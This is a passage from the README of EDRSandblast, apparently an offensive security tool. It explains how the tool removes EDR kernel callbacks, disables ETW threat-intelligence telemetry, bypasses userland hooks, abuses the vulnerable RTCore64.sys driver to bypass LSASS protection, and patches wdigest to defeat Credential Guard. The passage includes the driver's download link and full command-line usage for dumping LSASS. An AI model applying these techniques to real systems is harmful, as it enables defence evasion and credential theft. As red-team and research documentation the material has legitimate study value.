`ProviderEnableInfo` attribute to `0x0`. Refer to the great aforementioned +blog post for more information on the technique. + +Similarly to the Kernel callbacks removal, the necessary `ntoskrnl.exe` offsets +(`nt!EtwThreatIntProvRegHandleOffset`, `_ETW_REG_ENTRY`'s `GuidEntry`, and +`_ETW_GUID_ENTRY`'s `ProviderEnableInfo`) are hardcoded in the +`NtoskrnlOffsets.csv` file a number of the Windows Kernel versions. + +### EDR bypass through userland hooking bypass +#### How userland hooking works +In order to easily monitor actions that are performed by processes, EDR products often +deploy a mechanism called *userland hooking*. First, EDR products register a kernel +callback (usually *image loading* or *process creation* callbacks, see above) that allows +them to be notified upon each process start. + + +When a process is loaded by Windows, and before it actually starts, the EDR is able to +inject some custom DLL into the process address space, which contains its monitoing +logic. While loading, this DLL injects "*hooks*" at the start of every function that is to +be monitored by the EDR. At runtime, when the monitored functions are called by the +process under surveillance, these hooks redirect the control flow to some supervision code +present in the EDR's DLL, which allows it to inspect arguments and return values of these +calls. + +Most of the time, monitored functions are system calls (such as `NtReadVirtualMemory`, +`NtOpenProcess`, etc.), whose implementations reside in `ntdll.dll`. Intercepting calls to +`Nt*` functions allows products to be as close as possible to the userland / kernel-land +boundary (while remaining in userland), but functions from some higher-level DLLs may also +be monitored as well. + +Bellow are examples of the same function, before and after beeing hooked by the EDR product: +```assembly +NtProtectVirtualMemory proc near + mov r10, rcx + mov eax, 50h + test byte ptr ds:7FFE0308h, 1 + jnz short loc_18009D1E5 + syscall + retn +loc_18009D1E5: + int 2Eh + retn +NtProtectVirtualMemory endp +``` + +```assembly +NtProtectVirtualMemory proc near + jmp sub_7FFC74490298 ; --> "hook", jump to EDR analysis function + int 3 ; overwritten instructions + int 3 ; overwritten instructions + int 3 ; overwritten instructions + test byte_7FFE0308, 1 ; <-- execution resumes here after analysis + jnz short loc_7FFCB44AD1E5 + syscall + retn +loc_7FFCB44AD1E5: + int 2Eh + retn +NtProtectVirtualMemory endp +``` + +#### Hooks detection +Userland hooks have the "weakness" to be located in userland memory, which means they are +directly observable and modifiable by the process under scrutiny. To automatically detect +hooks in the process address space, the main idea is to compare the differences between +the original DLL on disk and the library residing in memory, that has been potentially +altered by an EDR. To perform this comparison, the following steps are followed by +EDRSandblast: +* The list of all loaded DLLs is enumerated thanks to the `InLoadOrderModuleList` located + int the `PEB` (to avoid calling any API that could be monitored and suspect) +* For each loaded DLL, its content on disk is read and its headers parsed. The + corresponding library, residing in memory, is also parsed to identify sections, exports, + etc. +* Relocations of the DLL are parsed and applied, by taking the base address of the + corresponding loaded library into account. This allows the content of both the in-memory + library and DLL originating from disk to have the exact same content (on sections where + relocations are applied), and thus making the comparison reliable. +* Exported functions are enumerated and the first bytes of the "in-memory" and "on-disk" + versions are compared. Any difference indicates an alteration that has been made after + the DLL was loaded, and thus is very probably an EDR hook. + +Note: The process can be generalized to find differences anywhere in non-writable sections +and not only at the start of exported functions, for example if EDR products start to +apply hooks in the middle of function :) Thus not used by the tool, this has been +implemented in `findDiffsInNonWritableSections`. + + +In order to bypass the monitoring performed by these hooks, multiples techniques are +possible, and each has benefits and drawbacks. + +#### Hook bypass using ... unhooking +The most intuitive method to bypass the hook-based monitoring is to remove the +hooks. Since the hooks are present in memory that is reachable by the process itself, to +remove a hook, the process can simply: +* Change the permissions on the page where the hook is located (RX -> RWX or RW) +* Write the original bytes that are known thanks to the on-disk DLL content +* Change back the permissions to RX + +This approach is fairly simple, and can be used to remove every detected hook all at +once. Performed by an offensive tool at its begining, this allows the rest of the code to +be completely unaware of the hooking mechnanism and perform normally without being +monitored. + +However, it has two main drawbacks. The EDR is probably monitoring the use of +`NtProtectVirtualMemory`, so using it to change the permissions of the page where the +hooks have been installed is (at least conceptually) a bad idea. Also, if a thread is +executed by the EDR and periodically check the integrity of the hooks, this could also +trigger some detection. + +For implementation details, check the `unhook()` function's code path when `unhook_method` is +`UNHOOK_WITH_NTPROTECTVIRTUALMEMORY`. + +**Important note: for simplicity, this technique is implemented in EDRSandblast as the +base technique used to *showcase* the other bypass techniques; each of them demonstrates +how to obtain an unmonitored version of `NtProtectVirtualMemory`, but performs the same +operation afterward (unhooking a specific hook).** + +#### Hook bypass using a custom trampoline +To bypass a specific hook, it is possible to simply "jump over" and execute the rest of +the function as is. First, the original bytes of the monitored function, that have been +overwritten by the EDR to install the hook, must be recovered from the DLL file. In our +previous code example, this would be the bytes corresponding to the following +instructions: + +```assembly +mov r10, rcx +mov eax, 50h +``` + +Identifying these bytes is a simple task since we are able to perform a clean *diff* of +both the memory and disk versions of the library, as previously described. Then, we +assemble a jump instruction that is built to redirect the control flow to the code +following immediately the hook, at address `NtProtectVirtualMemory + +sizeof(overwritten_instructions)` + +```assembly +jmp NtProtectVirtualMemory+8 +``` + +Finally, we concatenate these opcodes, store them in (newly) executable memory and keep a +pointer to them. This object is called a "*trampoline*" and can then be used as a function +pointer, strictly equivalent to the original `NtProtectVirtualMemory` function. + +The main benefit of this technique as for every techniques bellow, is that the hook is +never erased, so any integrity check performed on the hooks by the EDR should +pass. However, it requires to allocate writable then executable memory, which is typical +of a shellcode allocation, thus attracting the EDR's scrutiny. + +For implementation details, check the `unhook()` function's code path when `unhook_method` is +`UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE`. Please remind the technique is +only showcased in our implementation and is, in the end, used to **remove** hooks from +memory, as every technique bellow. + +#### Hook bypass using the own EDR's trampoline +The EDR product, in order for its hook to work, must save somewhere in memory the opcodes +that it has removed. Worst (*or "better", from the attacker point of view*), to +effectively use the original instructions the EDR has probably allocated itself a +*trampoline* somewhere to execute the original function after having intercepted the call. + +This trampoline can be searched for and used as a replacement for the hooked function, +without the need to allocate executable memory, or call any API except `VirtualQuery`, +which is most likely not monitored being an innocuous function. + +To find the trampoline in memory, we browse the whole address space using `VirtualQuery` +looking for commited and executable memory. For each such region of memory, we scan it to +look for a jump instruction that targets the address following the overwritten +instructions (`NtProtectVirtualMemory+8` in our previous example). The trampoline can then +be used to call the hooked function without triggering the hook. + +This technique works surprisingly well as it recovers nearly all trampolines on tested +EDR. For implementation details, check the `unhook()` function's code path when +`unhook_method` is `UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE`. + + +#### Hook bypass using duplicate DLL +Another simple method to get access to an unmonitored version of `NtProtectVirtualMemory` +function is to load a duplicate version of the ntdll.dll library into the process address +space. Since two identical DLLs can be loaded in the same process, provided they have +different names, we can simply copy the legitimate `ntdll.dll` file into another location, +load it using `LoadLibrary` (or reimplement the loading process), and access the function +using `GetProcAddress` for example. + +This technique is very simple to understand and implement, and have a decent chance of +success, since most of EDR products does not re-install hooks on newly loaded DLLs once +the process is running. However, the major drawback is that copying Microsoft signed +binaries under a different name is often considered as suspicious by EDR products as +itself. + +This technique is nevertheless implemented in `EDRSandblast`. For implementation details, check +the `unhook()` function's code path when `unhook_method` is +`UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY`. + + +#### Hook bypass using direct syscalls +In order to use system calls related functions, one program can reimplement syscalls (in +assembly) in order to call the corresponding OS features without actually touching the +code in `ntdll.dll`, which might be monitored by the EDR. This completely bypasses any +userland hooking done on syscall functions in `ntdll.dll`. + +This nevertheless has some drawbacks. First, this implies been able to know the list of +syscall numbers of functions the program needs, which changes for each version of +Windows. Also, functions that are not technically syscalls +(e.g. `LoadLibraryX`/`LdrLoadDLL`) could be monitored as well, and cannot simply be +reimplemented using a syscall. + +This technique is implemented in EDRSandblast. As previously stated, it is only used to +execute `NtProtectVirtualMemory` safely, and remove all detected hooks. However, in order +not to rely on hardcoded offsets, a small heuristic is implemented to search for `mov eax, +imm32` instruction at the start of the `NtProtectVirtualMemory` function and recover the +syscall number from it if found (else relying on hardcoded offset for known Windows +versions). + +For implementation details, check the `unhook()` function's code path when `unhook_method` is +`UNHOOK_WITH_DIRECT_SYSCALL`. + +### RunAsPPL bypass + +The `Local Security Authority (LSA) Protection` mechanism, firstly introduced +in Windows 8.1 and Windows Server 2012 R2, leverage the `Protected Process +Light (PPL)` technology to restrict access to the `LSASS` process. The `PPL` +protection regulates and restricts operations, such as memory injection or +memory dumping of protected processes, even from process holding the +`SeDebugPrivilege` privilege. + +The protection level of a process is defined in its `EPROCESS` structure, used +by the Windows kernel to represent processes in memory. The `EPROCESS` +structure includes a `_PS_PROTECTION` field, defining the protection level of a +process through its `Type` (`_PS_PROTECTED_TYPE`) and `Signer` +(`_PS_PROTECTED_SIGNER`) attributes. + +If no `EDR` drivers callbacks are detected, the current process is self +protected as `PsProtectedSignerWinTcb-Light`. This level of protection is +sufficient to dump the `LSASS` process memory, with `RunAsPPL` enabled, as +the `PsProtectedSignerWinTcb` signer "dominates" `PsProtectedSignerLsa-Light` +(and both process are of `PsProtectedTypeProtectedLight` type). + +`EDRSandBlast` implements the self protection as follow: + - open an handle to the current process + - leak all system handles using `NtQuerySystemInformation` to find the opened + handle on the current process (which correspond to the current process' + `EPROCESS` structure in kernel memory). + - use the arbitrary read / write vulnerability of the `Micro-Star MSI + Afterburner` driver to overwrite the `_PS_PROTECTION` field of the current + process in kernel memory. The offsets of the `_PS_PROTECTION` field + relative to the `EPROCESS` structure (defined by the `ntoskrnl` version in + use) are hardcoded in the `NtoskrnlOffsets.csv` file. + +### Credential Guard bypass + +Microsoft `Credential Guard` is a virtualization-based isolation technology, +introduced in Microsoft's `Windows 10 (Enterprise edition)` which prevents +direct access to the credentials stored in the `LSASS` process. + +When `Credentials Guard` is activated, an `LSAIso` (*LSA Isolated*) process is +created in `Virtual Secure Mode`, a feature that leverages the virtualization +extensions of the CPU to provide added security of data in memory. Access to +the `LSAIso` process are restricted even for an access with the +`NT AUTHORITY\SYSTEM` security context. When processing a hash, the `LSA` +process perform a `RPC` call to the `LSAIso` process, and waits for the +`LSAIso` result to continue. Thus, the `LSASS` process won't contain any +secrets and in place will store `LSA Isolated Data`. + +As stated in original research conducted by `N4kedTurtle`: "`Wdigest` can be +enabled on a system with Credential Guard by patching the values of +`g_fParameter_useLogonCredential` and `g_IsCredGuardEnabled` in memory". +The activation of `Wdigest` will result in cleartext credentials being stored +in `LSASS` memory for any new interactive logons (with out requiring a reboot of +the system). Refer to the +[original research blog post](https://teamhydra.blog/2020/08/25/bypassing-credential-guard/) +for more details on this technique. + +`EDRSandBlast` simply make the original PoC a little more opsec friendly and +provide support for a number of `wdigest.dll` versions (through hardcoded +offsets for `g_fParameter_useLogonCredential` and `g_IsCredGuardEnabled`). + +### ntoskrnl and wdigest offsets + +The required `ntoskrnl.exe` and `wdigest.dll` offsets (mentioned above) are +extracted using `r2pipe`, as implemented in the `ExtractOffsets.py` `Python` +script. In order to support more Windows versions, the `ntoskrnl.exe` and +`wdigest.dll` referenced by [Winbindex](https://winbindex.m417z.com/) can be +automatically downloaded (and their offsets extracted). This allow to extract +offsets from that files which appear in Windows update packages (to date 350+ +`ntoskrnl.exe` and 30+ `wdigest.dll` versions). + +## Usage + +The vulnerable `RTCore64.sys` driver can be retrieved at: + +``` +http://download-eu2.guru3d.com/afterburner/%5BGuru3D.com%5D-MSIAfterburnerSetup462Beta2.zip +``` + +### Quick usage + +``` +EDRSandblast.exe [-h | --help] [-v | --verbose] [--usermode [--unhook-method ]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver ] [--nt-offsets ] [--wdigest-offsets ] [-o | --dump-output ] +``` + +### Options + +``` +-h | --help Show this help message and exit. +-v | --verbose Enable a more verbose output. + +Actions mode: + + audit Display the user-land hooks and / or Kernel callbacks with out taking actions. + dump Dump the LSASS process, by default as 'lsass' in the current directory or at the + specified file using -o | --output . + cmd Open a cmd.exe prompt. + credguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if + Credential Guard is enabled on the host. No kernel-lank actions required. + +--usermode Perform user-land operations (DLL unhooking). +--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling). + +--unhook-method + Choose the userland un-hooking technique, from the following: + + 1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all + present userland hooks. + 2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by + allocating an executable trampoline jumping over the hook, and remove all present + userland hooks. + 3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked' + (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland + hooks. + 4 Loads an additional version of ntdll library into memory, and use the (hopefully + unmonitored) version of NtProtectVirtualMemory present in this library to remove all + present userland hooks. + 5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, + and uses it to remove all detected hooks + +Other options: + +--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host + Default to automatically unsinstall the driver. +--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed. + Default to restore the callbacks. + +--driver Path to the Micro-Star MSI Afterburner vulnerable driver file. + Default to 'RTCore64.sys' in the current directory. + +--nt-offsets Path to the CSV file containing the required ntoskrnl.exe's offsets. + Default to 'NtoskrnlOffsets.csv' in the current directory. +--wdigest-offsets Path to the CSV file containing the required wdigest.dll's offsets + (only for the 'credguard' mode). + Default to 'WdigestOffsets.csv' in the current directory. + +-o | --output Output path to the dump file that will be generated by the 'dump' mode. + Default to 'lsass' in the current directory. +``` + +### Build + +`EDRSandBlast` (x64 only) was built on Visual Studio 2019 (Windows SDK +Version: `10.0.19041.0` and Plateform Toolset: `Visual Studio 2019 (v142)`). + +### ExtractOffsets.py usage + +Note that `ExtractOffsets.py` has only be tested on Windows. + +``` +# Installation of Python dependencies +pip.exe install -m .\requirements.txt + +# Script usage +ExtractOffsets.py [-h] -i INPUT [-o OUTPUT] [-d] mode + +positional arguments: + mode ntoskrnl or wdigest. Mode to download and extract offsets for either ntoskrnl or wdigest + +optional arguments: + -h, --help show this help message and exit + -i INPUT, --input INPUT + Single file or directory containing ntoskrnl.exe / wdigest.dll to extract offsets from. + If in dowload mode, the PE downloaded from MS symbols servers will be placed in this folder. + -o OUTPUT, --output OUTPUT + CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be + downloaded / analyzed. + Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv in the current folder. + -d, --dowload Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com. +``` + +## Acknowledgements + +- Kernel callbacks enumeration and removal: + https://github.com/br-sn/CheekyBlinder + +- Kernel memory Read / Write primitives through the vulnerable + `Micro-Star MSI Afterburner` driver: + https://github.com/Barakat/CVE-2019-16098/ + +- Disabling of the ETW Threat Intelligence provider: + https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider + +- Driver install / uninstall: https://github.com/gentilkiwi/mimikatz + +- Initial list of `EDR` drivers names: + https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-EDRCheck.ps1 + +- Credential Guard bypass by re-enabling `Wdigest` through `LSASS` memory + patching: https://teamhydra.blog/2020/08/25/bypassing-credential-guard/ + + +## Authors + +[Thomas DIOT (Qazeer)](https://github.com/Qazeer/) +[Maxime MEIGNAN (themaks)](https://github.com/themaks) + +## Licence + +CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/